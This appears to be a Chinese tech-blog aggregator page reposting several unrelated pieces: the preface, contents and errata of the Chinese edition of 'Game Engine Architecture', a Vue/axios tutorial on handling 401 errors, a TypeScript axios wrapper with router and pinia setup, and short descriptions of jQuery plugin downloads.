欢迎来到《游戏引擎架构》世界。本书旨在全面探讨典型商业游戏引擎的主要组件。游戏编程是一个庞大的主题,有许多内容需要讨论。不过相信你会发现,我们讨论的深度将足以使你充分理解本书所涵盖的工程理论及常用实践的方方面面。话虽如此,令人着迷的漫长游戏编程之旅其实才刚刚启程。与此相关的每项技术都包含丰富内容,本书将为你打下基础,并引领你进入更广阔的学习空间。 本书焦点在于游戏引擎的技术及架构。我们会探讨商业游戏引擎中,各个子系统的相关理论,以及实现这些理论所需要的典型数据结构、算法和软件接口。游戏引擎与游戏的界限颇为模糊。我们将把注意力集中在引擎本身,包括多个低阶基础系统(low-level foundation system)、渲染引擎(rendering engine)、碰撞系统(collision system)、物理模拟(physics simulation)、人物动画(character animation),及一个我称为游戏性基础层(gameplay foundation layer)的深入讨论。此层包括游戏对象模型(game object model)、世界编辑器(world editor)、事件系统(event system)及脚本系统(scripting system)。我们也将会接触游戏性编程(gameplay programming)的多个方面,包括玩家机制(player mechanics)、摄像机(camera)及人工智能(artificial intelligence,AI)。然而,这类讨论会被限制在游戏性系统和引擎接口范围。 本书可以作为大学中等级游戏程序设计中两到三门课程的教材。当然,本书也适合软件工程师、业余爱好者、自学的游戏程序员,以及游戏行业从业人员。通过阅读本书,资历较浅的游戏程序员可以巩固他们所学的游戏数学、引擎架构及游戏科技方面的知识。专注某一领域的资深程序员也能从本书更为全面的介绍中获益。 为了更好地学习本书内容,你需要掌握基本的面向对象编程概念并至少拥有一些C++编程经验。尽管游戏行业已经开始尝试使用一些新的、令人兴奋的编程语言,然而工业级的3D游戏引擎仍然是用C或C++编写的,任何认真的游戏程序员都应该掌握C++。我们将在第3章重温一些面向对象编程的基本原则,毫无疑问,你还会从本书学到一些C++的小技巧,不过C++的基础最好还是通过阅读[39]、[31]及[32]来获得。如果你对C++已经有点生疏,建议你在阅读本书的同时,最好能重温这几本或者类似书籍。如果你完全没有C++经验,在看本书之前,可以考虑先阅读[39]的前几章,或者尝试学习一些C++的在线教程。 学习编程技能最好的方法就是写代码。在阅读本书时,强烈建议你选择一些特别感兴趣的主题付诸实践。举例来说,如果你觉得人物动画很有趣,那么可以首先安装OGRE,并测试一下它的蒙皮动画示范。接着还可以尝试用OGRE实现本书谈及的一些动画混合技巧。下一步你可能会打算用游戏手柄控制人物在平面上行走。等你能玩转一些简单的东西了,就应该以此为基础,继续前进!之后可以转移到另一个游戏技术范畴,周而复始。这些项目是什么并不重要,重要的是你在实践游戏编程的艺术,而不是纸上谈兵。 游戏科技是一个活生生、会呼吸的家伙 ,永远不可能将之束缚于书本之上 。因此,附加的资源、勘误、更新、示例代码、项目构思等已经发到本书的网站。 目录 推荐序1 iii推荐序2 v译序 vii序言 xvii前言 xix致谢 xxi第一部分 基础 1第1章 导论 31.1 典型游戏团队的结构 41.2 游戏是什么 71.3 游戏引擎是什么 101.4 不同游戏类型中的引擎差异 111.5 游戏引擎概观 221.6 运行时引擎架构 271.7 工具及资产管道 46第2章 专业工具 532.1 版本控制 532.2 微软Visual Studio 612.3 剖析工具 782.4 内存泄漏和损坏检测 792.5 其他工具 80第3章 游戏软件工程基础 833.1 重温C++及最佳实践 833.2 C/C++的数据、代码及内存 903.3 捕捉及处理错误 118第4章 游戏所需的三维数学 1254.1 在二维中解决三维问题 1254.2 点和矢量 1254.3 矩阵 1394.4 四元数 1564.5 比较各种旋转表达方式 1644.6 其他数学对象 1684.7 硬件加速的SIMD运算 1734.8 产生随机数 180第二部分 低阶引擎系统 183第5章 游戏支持系统 1855.1 子系统的启动和终止 1855.2 内存管理 1935.3 容器 2085.4 字符串 2255.5 引擎配置 234第6章 资源及文件系统 2416.1 文件系统 2416.2 资源管理器 251第7章 游戏循环及实时模拟 2777.1 渲染循环 2777.2 游戏循环 2787.3 游戏循环的架构风格 2807.4 抽象时间线 2837.5 测量及处理时间 2857.6 多处理器的游戏循环 2967.7 网络多人游戏循环 304第8章 人体学接口设备(HID) 3098.1 各种人体学接口设备 3098.2 人体学接口设备的接口技术 3118.3 输入类型 3128.4 输出类型 3168.5 游戏引擎的人体学接口设备系统 3188.6 人体学接口设备使用实践 332第9章 调试及开发工具 3339.1 日志及跟踪 3339.2 调试用的绘图功能 3379.3 游戏内置菜单 3449.4 游戏内置主控台 3479.5 调试用摄像机和游戏暂停 3489.6 作弊 3489.7 屏幕截图及录像 3499.8 游戏内置性能剖析 3499.9 游戏内置的内存统计和泄漏检测 356第三部分 图形及动画 359第10章 渲染引擎 36110.1 采用深度缓冲的三角形光栅化基础 36110.2 渲染管道 40410.3 高级光照及全局光照 42610.4 视觉效果和覆盖层 43810.5 延伸阅读 446第11章 动画系统 44711.1 角色动画的类型 44711.2 骨骼 45211.3 姿势 45411.4 动画片段 45911.5 蒙皮及生成矩阵调色板 47111.6 动画混合 47611.7 后期处理 49311.8 压缩技术 49611.9 动画系统架构 50111.10 动画管道 50211.11 动作状态机 51511.12 动画控制器 535第12章 碰撞及刚体动力学 53712.1 你想在游戏中加入物理吗 53712.2 碰撞/物理中间件 54212.3 碰撞检测系统 54412.4 刚体动力学 56912.5 整合物理引擎至游戏 60112.6 展望:高级物理功能 616第四部分 游戏性 617第13章 游戏性系统简介 61913.1 剖析游戏世界 61913.2 实现动态元素:游戏对象 62313.3 数据驱动游戏引擎 62613.4 游戏世界编辑器 627第14章 运行时游戏性基础系统 63714.1 游戏性基础系统的组件 63714.2 各种运行时对象模型架构 64014.3 世界组块的数据格式 65714.4 游戏世界的加载和串流 66314.5 对象引用与世界查询 67014.6 实时更新游戏对象 67614.7 事件与消息泵 69014.8 脚本 70714.9 高层次的游戏流程 726第五部分 总结 727第15章 还有更多内容吗 72915.1 一些未谈及的引擎系统 72915.2 游戏性系统 730参考文献 733中文索引 737英文索引 755 参考文献 Tomas Akenine-Moller, Eric Haines, and Naty Hoffman. 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World of Warcraft Programming: A Guide and Reference for Creating WoW Addons. New York, NY: John Wiley & Sons, 2008. 中译本:《魔兽世界编程宝典:World of Warcraft Addons完全参考手册》,杨柏林/张卫星/王聪译,清华大学出版社,2010. Richard Williams. The Animator's Survival Kit. London, England: Faber & Faber, 2002. 中译本:《原动画基础教程:动画人的生存手册》,邓晓娥译,中国青年出版社,2006. 勘误 第1次印册(2014年2月) P.xviii: 译注中 Wholesale Algoithms -> Wholesale Algorithms P.10: 最后一段第一行 微软的媒体播放器 -> 微软的Windows Media Player (多谢读者OpenGPU来函指正) P.15: 1.4.3节第三点 按妞 -> 按钮 (多谢读者一个小小凡人来函指正) P.40: 正文最后一行 按扭 -> 按钮 P.50: 1.7.8节第二节第一行 同是 -> 同时 (多谢读者czfdd来函指正) P.98: 代码 writeExampleStruct(Example& ex, Stream& ex) 中 Stream& ex -> Stream& stream (多谢读者Snow来函指正) P.106: 第一段中有六处 BBS -> BSS,最后一段代码的注释也有同样错误 (多谢读者trout来函指正) P.119: 译注中 软体工程 -> 软件工程 (多谢读者Snow来函指正) P.214: 正文第一段有两处 虚内存 -> 虚拟内存 (多谢读者Snow来函指正) P.216: 脚注24应标明为译注 (多谢读者Snow来函指正) P.221: 第一段代码的第二个断言应为 ASSERT(link.m_pPrev != NULL); (多谢读者Snow来函指正) P.230: 5.4.4.1节 第二段 软体 -> 软件 P.286: 脚注4应标明为译注 (多谢读者Snow来函指正) P.322: 第二段 按扭事件字 -> 按钮事件 P.349: 9.8节第二段第二行两处 部析器 -> 剖析器 (多谢读者Snow来函指正) P.738-572: 双数页页眉 参考文献 -> 中文索引 P.755-772: 双数页页眉 参考文献 -> 英文索引 P.755: kd tree项应归入K而不是Symbols 以上的错误已于第2次印册中修正。 第2次印册及之前 P.11: 第四行 细致程度 -> 层次细节 (这是level-of-detail/LOD的内地通译,多谢读者OpenGPU来函指正) P.12: 正文第一段及图1.2标题 使命之唤 -> 使命召唤 (多谢读者OpenGPU来函指正) P.12: 正文第一段 战栗时空 -> 半条命 (多谢读者OpenGPU来函指正) P.16: 第一点 表面下散射 -> 次表面散射 (多谢读者OpenGPU来函指正) P.17: 1.4.4节第五行 次文化 -> 亚文化 (此译法在内地更常用。多谢读者OpenGPU来函提示) P.22: 战栗时空 -> 半条命 P.24: 战栗时空2 -> 半条命2 P.34: 1.6.8.2节第一行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.35: 第七行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.50: 战栗时空2 -> 半条命2 P.365: 第四段第二行: 细致程度 -> 层次细节 P.441: 10.4.3.2节第三行 细致程度 -> 层次细节 P.494: sinusiod -> sinusoid (多谢读者OpenGPU来函指正) P.511: 11.10.4节第一行 谈入 -> 淡入 (多谢读者Snow来函指正) P.541: 战栗时空2 -> 半条命2 P.627: 战栗时空2 -> 半条命2 P.654: 第二行 建康值 -> 血量 (原来是改正错别字,但译者发现应改作前后统一使用的“血量”。多谢读者Snow来函指正) P.692: 第二行 内部分式 -> 内部方式 (多谢读者Snow来函指正) P.696: 14.7.6节第四行 不设实际 -> 不切实际 (多谢读者Snow来函指正) 以上的错误已于第3次印册中修正。 其他意见 P.220: 正文第一段 m_root.m_pElement 和 P.218 第一段代码中的 m_pElem 不统一。原文有此问题,但因为它们是不同的struct,暂不列作错误。 (多谢读者Snow来函提示) P.331: 8.5.8节第二段中 “反覆”较常见的写法为“反复”,但前者也是正确的,暂不列作错误。 (多谢读者Snow来函提示) P.390: 10.1.3.3节静态光照第二段中“取而代之,我们会使用一张光照纹理贴到所有受光源影响范围内的物体上。这样做能令动态物体经过光源时得到正确的光照。” 后面的一句与前句好像难以一起理解。译者认为,作者应该是指,使用同一静态光源去为静态物件生成光照纹理,以及用于动态对象的光照,能使两者的效果维持一致性。译者会考虑对译文作出改善或加入译注解译。(多谢读者店残来函查询) P.689: 第五行 并行处理世代 -> 并行处理时代 是对era较准确的翻译。 (多谢读者Snow来函提示) 本篇文章为转载内容。原文链接:https://blog.csdn.net/mypongo/article/details/38388381。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-12 23:04:05
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...项改进和优化,引入了Promise API,使得异步文件操作更加简洁易用。例如,现在可以使用fs.promises.readFile()和fs.promises.writeFile()替代传统的回调方式,提升代码可读性和维护性。 另外,针对大型项目或复杂文件系统的管理,一些开源库如"fs-extra"提供了更为丰富的API和更强大的功能支持,比如复制目录、移动文件、删除非空目录等,这些在原生fs模块中可能需要编写更多代码才能实现的功能,在fs-extra中都能轻松调用。 同时,对于持续集成(CI/CD)和自动化部署场景,通过结合Node.js的文件操作能力与其他工具(如Git、Webpack等),能够高效完成资源打包、版本控制以及自动化发布流程中的文件处理任务。 此外,随着Node.js在服务器端应用场景的拓展,如静态网站生成器(如Hugo、Gatsby)、服务端渲染框架(Next.js)等都深度依赖于文件系统的操作,深入学习和掌握Node.js的文件系统API,将有助于开发者更好地应对实际开发需求,提升工作效率。 在安全方面,Node.js文件系统操作也需注意权限管理和异常处理机制,以防止潜在的安全风险,确保数据安全和系统稳定性。因此,理解并遵循最佳实践来执行文件操作是每个Node.js开发者必备技能之一。
2023-12-30 19:15:04
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VUE
...,401是一个标准的状态码,表示请求需要用户认证。简单说吧,就是服务器跟你说:“哥们儿,你没权限看这个东西!”这种情况一般出现在你还没登录,或者是登录信息已经失效了。 2. 初次尝试 直接处理 我们先来看一个最简单的处理方式。假设我们在某个组件中发起了一次请求: javascript // 假设这是我们的axios配置 import axios from 'axios'; axios.get('/api/some-data') .then(response => { console.log('数据获取成功', response.data); }) .catch(error => { if (error.response.status === 401) { console.error('401错误:未授权'); // 这里可以跳转到登录页面 window.location.href = '/login'; } else { console.error('其他错误', error); } }); 这种方式虽然能解决问题,但每次请求都要重复这段代码,显得不够优雅。我们需要一个更通用的方法来处理这个问题。 3. 使用拦截器 一次设置,处处生效 Vue项目中,我们通常会使用axios作为HTTP客户端。Axios有个很酷的拦截器功能,让我们可以在请求发出前后做一些全局的处理,特别方便。我们可以在main.js中设置拦截器: javascript import Vue from 'vue'; import App from './App.vue'; import axios from 'axios'; import router from './router'; Vue.config.productionTip = false; // 设置axios的拦截器 axios.interceptors.response.use( response => response, error => { if (error.response.status === 401) { // 处理401错误 console.error('401错误:未授权'); // 跳转到登录页面 router.push({ name: 'Login' }); } return Promise.reject(error); } ); new Vue({ router, render: h => h(App) }).$mount('app'); 这样,无论你在项目的哪个地方发起请求,只要遇到401错误,都会自动跳转到登录页面。是不是很酷? 4. 处理边缘情况 重新登录后跳转回原页面 但是,如果用户在登录后还想回到之前访问的页面怎么办?我们可以利用路由的参数来传递信息。例如,在跳转到登录页时,我们可以带上当前的路由路径: javascript router.push({ name: 'Login', query: { redirect: router.currentRoute.fullPath } }); 然后在登录成功的回调中,我们可以根据这个参数进行跳转: javascript methods: { login() { // 登录逻辑 axios.post('/api/login', this.credentials) .then(() => { const redirect = this.$route.query.redirect; if (redirect) { this.$router.push(redirect); } else { this.$router.push('/'); } }) .catch(error => { console.error('登录失败', error); }); } } 这样一来,用户在登录成功后就能返回到之前访问的页面了。 5. 总结与反思 通过以上的讨论,我们看到了如何在Vue项目中处理401未授权错误。从一开始的简单应对,到后来用axios拦截器,最后搞定那些特殊状况,每一步都让我们离那个完美的解决办法更近了点儿。在这过程中,我真是领悟到,编程可不只是敲代码那么简单,还得想到各种可能出现的状况,然后还得想出漂亮利索的解决办法。 希望这篇文章对你有所帮助,如果你有任何问题或更好的建议,欢迎在评论区留言交流!
2025-01-23 15:55:50
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灵动之光
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...ror => Promise.reject(error),)// 响应拦截axiosInstance.interceptors.response.use((res: AxiosResponse<any, any>) => {// 数组处理return res},error => Promise.reject(error),)// 通用的请求方法体const axiosHttp = async <T extends Record<string, any> | null>(config: AxiosRequestConfig,desc: string,): Promise<T> => {try {const { data } = await axiosInstance.request<ResponseData<T>>(config)if (data.success) {return data.data}// 如果请求失败统一做提示(此处我没有安装组件库,我简单写个mock例子)ElNotification({title: desc,message: ${data.message || '请求失败,请检查'},})} catch (e: any) {// 统一的错误处理if (e.response && e.response.status) {errorHandle(e.response.status, desc)} else {ElNotification({title: desc,message: '接口异常,请检查',})} }return null as T}// get请求方法封装export const get = async <T = Record<string, any> | null>(url: string, params: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'get',url,params,}const data = await axiosHttp<T>(config, desc)return data}// Post请求方法export const post = async <T = Record<string, any> | null>(url: string, data: Record<string, any>, desc: string) => {const config: AxiosRequestConfig = {method: 'post',url,data,}const info = await axiosHttp<T>(config, desc)return info} 请求错误(状态码错误相关提示) import { ElNotification } from 'element-plus'function notificat(message: string, title: string) {ElNotification({title,message,})}/ @description 获取接口定义 @param status {number} 错误状态码 @param desc {string} 接口描述信息/export default function errorHandle(status: number, desc: string) {switch (status) {case 401:notificat('用户登录失败', desc)breakcase 404:notificat('请求不存在', desc)breakcase 500:notificat('服务器错误,请检查服务器', desc)breakdefault:notificat(其他错误${status}, desc)break} } 6、关于vue-router 及 pinia 这两个相对来讲简单一些,会使用vuex状态管理,上手pinia也是很轻松的事儿,只是更简单化了、更方便了,可以参考模板项目里面的用法example,这里附上router及pinia配置方法,路由守卫,大家可以根据项目的要求再添加 import type { RouteRecordRaw } from 'vue-router'import { createRouter, createWebHistory } from 'vue-router'// 配置路由const routes: Array<RouteRecordRaw> = [{path: '/',redirect: '/home',},{name: 'home',path: '/home',component: () => import('page/Home'),},]const router = createRouter({routes,history: createWebHistory(),})export default router 针对与pinia,参考如下: import { createPinia } from 'pinia'export default createPinia() 在入口文件将router和store注入进去 import { createApp } from 'vue'import App from './App'import store from './store/index'import './style/index.css'import './style/index.scss'import 'element-plus/dist/index.css'import router from './router'// 注入全局的storeconst app = createApp(App).use(store).use(router)app.mount('app') 说这些比较枯燥,建议大家去github参考项目说明文档,下载项目,自己过一遍,喜欢的朋友收藏点赞一下,如果喜欢我构建好的项目给个star不丢失,谢谢各位看官的支持。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_37764929/article/details/124860873。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-05 12:27:41
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...的滚动交互效果。初始状态下,导航菜单布局巧妙地置于页面中下部,与内容浑然一体。当用户向下滚动页面,一旦鼠标滚轮接近导航菜单区域时,菜单会瞬间吸附到屏幕顶部,并保持固定位置,实现悬浮导航功能,确保网站的主要导航选项始终触手可及。这一过程平滑无缝,视觉效果酷炫,不仅提升了用户的导航便捷性,也增强了整体网站设计的动态美感与专业性。总之,这款插件以其独特的动画过渡和智能定位机制,极大地优化了网页导航栏的表现形式,成为众多开发者构建现代化、用户友好型网站的得力工具之一。 点我下载 文件大小:267.76 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-03-27 13:14:17
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...够轻松定义元素从起始状态到结束状态的动画过程,无论是改变位置、大小、透明度、颜色等CSS样式属性,还是实现更复杂的动态效果。该插件尤其适合那些希望增强用户体验,提升网站或应用动态视觉表现力的前端开发者。得益于其底层基于tween.js的实现机制,jQueryTween可以在保证动画质量的同时,降低对系统资源的占用,并确保动画在不同设备上的兼容性和一致性。通过简单的配置与调用,即便是不具备丰富动画制作经验的开发者也能快速构建出专业级别的补间动画效果。 点我下载 文件大小:93.83 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-12-27 17:06:08
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...提供了丰富的事件回调机制,方便开发者根据用户行为进行定制化处理,如选择状态变更、展开折叠节点等操作。总之,folderselect.js是一个功能强大且极具创新性的jQuery复选框美化插件,它不仅提升了复选框的美观度,更极大地增强了其实用性和交互性,在Web开发中尤其适用于构建复杂的多级选择菜单或组织架构管理场景。 点我下载 文件大小:54.40 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-08-06 11:05:00
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...备上操作。-自动关闭机制:可通过设置定时器让对话框在指定时间内自动消失,减少用户干扰。-回调函数:提供事件监听接口,便于开发者在用户交互时执行特定逻辑。使用场景-数据确认:在用户执行可能影响数据的操作前(如删除、修改)显示确认框。-加载状态指示:在执行耗时操作时,显示进度对话框,增强用户体验。-信息提示:用于展示重要信息或警告信息,引导用户注意关键点。-个性化设计:根据品牌风格或特定需求定制对话框外观,提升网站整体设计感。总结jQueryConfirm插件凭借其强大的功能集和高度的灵活性,成为构建高质量用户交互体验的理想选择。无论是提升网站的功能性还是增强用户体验,这款插件都能提供有力的支持。通过简单的集成和定制化设置,开发人员能够快速创建出美观且功能丰富的对话框和确认框,为网站增加更多价值。 点我下载 文件大小:241.37 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2024-07-25 10:50:31
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